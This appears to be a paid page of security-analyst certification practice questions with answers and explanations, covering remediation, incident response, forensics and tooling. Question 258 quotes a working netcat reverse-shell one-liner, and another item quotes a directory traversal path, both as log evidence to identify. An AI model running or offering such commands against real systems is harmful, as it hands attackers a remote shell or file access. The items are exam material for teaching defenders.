While reviewing the web server logs, a security analyst notices the following snippet:
..\../..\../boot.ini
Which of the following is being attempted?
A. Directory traversal
B. Remote file inclusion
C. Cross-site scripting
D. Remote code execution
E. Enumeration of /etc/passwd
Show Answer
Correct Answer: A
Explanation: The path '..\../..\../boot.ini' uses repeated parent-directory ('../' or '..\') traversal sequences to attempt to escape the web root and access the Windows system file 'boot.ini'. This is a classic directory traversal (path traversal) attack, not remote file inclusion, cross-site scripting, remote code execution, or an attempt to enumerate /etc/passwd (which is a Unix file).
Question 252
A security analyst has found a moderate-risk item in an organization’s point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?
A. Service-level agreement
B. Business process interruption
C. Degrading functionality
D. Proprietary system
Show Answer
Correct Answer: B
Explanation: A change freeze prevents system changes to avoid disrupting critical business operations during a defined period. Delaying remediation because applying the fix would violate the freeze reflects business process interruption as the inhibitor. The scenario does not involve an SLA, degraded functionality caused by the fix, or a proprietary system.
Question 253
An organization has tracked several incidents that are listed in the following table:
Which of the following is the organization’s MTTD?
A. 140
B. 150
C. 160
D. 180
Show Answer
Correct Answer: C
Explanation: MTTD (Mean Time To Detect) is calculated by averaging the detection times across all incidents. Using the listed detection times of 180, 150, 170, and 140 minutes: (180 + 150 + 170 + 140) / 4 = 640 / 4 = 160 minutes.
Question 254
During the rollout of a patch to the production environment, it was discovered that required connections to remote systems are no longer possible. Which of the following steps would have most likely revealed this gap?
A. Implementation
B. User acceptance testing
C. Validation
D. Rollback
Show Answer
Correct Answer: C
Explanation: Validation is the phase where the deployed change or patch is verified to ensure it functions correctly in the target environment, including confirming that required integrations and remote connectivity still work. A failure of required remote system connections should have been identified during validation before considering the rollout successful. Implementation is the deployment itself, UAT focuses on business/user requirements rather than technical infrastructure validation, and rollback is a recovery action after a failed deployment.
Question 255
Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used to maintain the integrity of the mobile phone while it is transported? (Choose two.)
A. Signal-shielded bag
B. Tamper-evident seal
C. Thumb drive
D. Crime scene tape
E. Write blocker
F. Drive duplicator
Show Answer
Correct Answer: A, B
Explanation: A signal-shielded (Faraday) bag prevents wireless communication with the phone during transport, protecting against remote access or wiping. A tamper-evident seal helps preserve chain of custody by showing whether the device was accessed or altered while being transported. The other options are imaging or storage tools, or are unrelated to securely transporting a mobile device.
Question 256
Before adopting a disaster recovery plan, some team members need to gather in a room to review the written scenarios. Which of the following best describes what the team is doing?
A. Simulation
B. Tabletop exercise
C. Full test
D. Parallel test
Show Answer
Correct Answer: B
Explanation: A tabletop exercise is a discussion-based review in which participants gather to walk through written disaster scenarios and evaluate roles, decisions, and procedures without executing recovery operations. A simulation is more interactive, while full and parallel tests involve actual recovery activities.
Question 257
An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender.
Which of the following information security goals is the analyst most likely trying to achieve?
A. Non-repudiation
B. Authentication
C. Authorization
D. Integrity
Show Answer
Correct Answer: A
Explanation: Non-repudiation ensures a sender cannot deny having sent a message and allows the recipient to prove to a third party that the message originated from that sender, typically through digital signatures. Authentication verifies identity, authorization governs permissions, and integrity ensures data has not been altered.
Question 258
A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
Which of the following most likely describes the activity?
A. Network pivoting
B. Host scanning
C. Privilege escalation
D. Reverse shell
Show Answer
Correct Answer: D
Explanation: The command creates a named pipe, launches an interactive shell (/bin/sh -i), and uses netcat (nc) to connect to a remote host, forwarding shell input/output over the network. This is a classic Unix reverse shell pattern, allowing the remote system to interactively control the compromised host.
Question 259
A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting. Which of the following tools would the security team most likely recommend to perform this test?
A. Hashcat
B. OpenVAS
C. OWASP ZAP
D. Nmap
Show Answer
Correct Answer: C
Explanation: OWASP ZAP is specifically designed for web application security testing and can quickly identify common web vulnerabilities such as SQL injection, cross-site scripting (XSS), and path traversal through automated and manual testing. Hashcat is a password hash cracking tool, OpenVAS is a general vulnerability scanner, and Nmap is primarily a network discovery and port scanning tool with some scripting capabilities but is not the primary choice for web application vulnerability testing.
Question 260
A security analyst would like to integrate two different SaaS-based security toots so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?
A. SMB share
B. API endpoint
C. SMTP notification
D. SNMP trap
Show Answer
Correct Answer: B
Explanation: An API endpoint is the standard mechanism for integrating two SaaS applications so they can exchange data and trigger actions automatically, such as notifying another security tool when a threat is detected. SMB shares are for file sharing, SMTP is for email notifications rather than application-to-application integration, and SNMP traps are used for network device monitoring, not general SaaS security tool integration.
$19
Get all 534 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.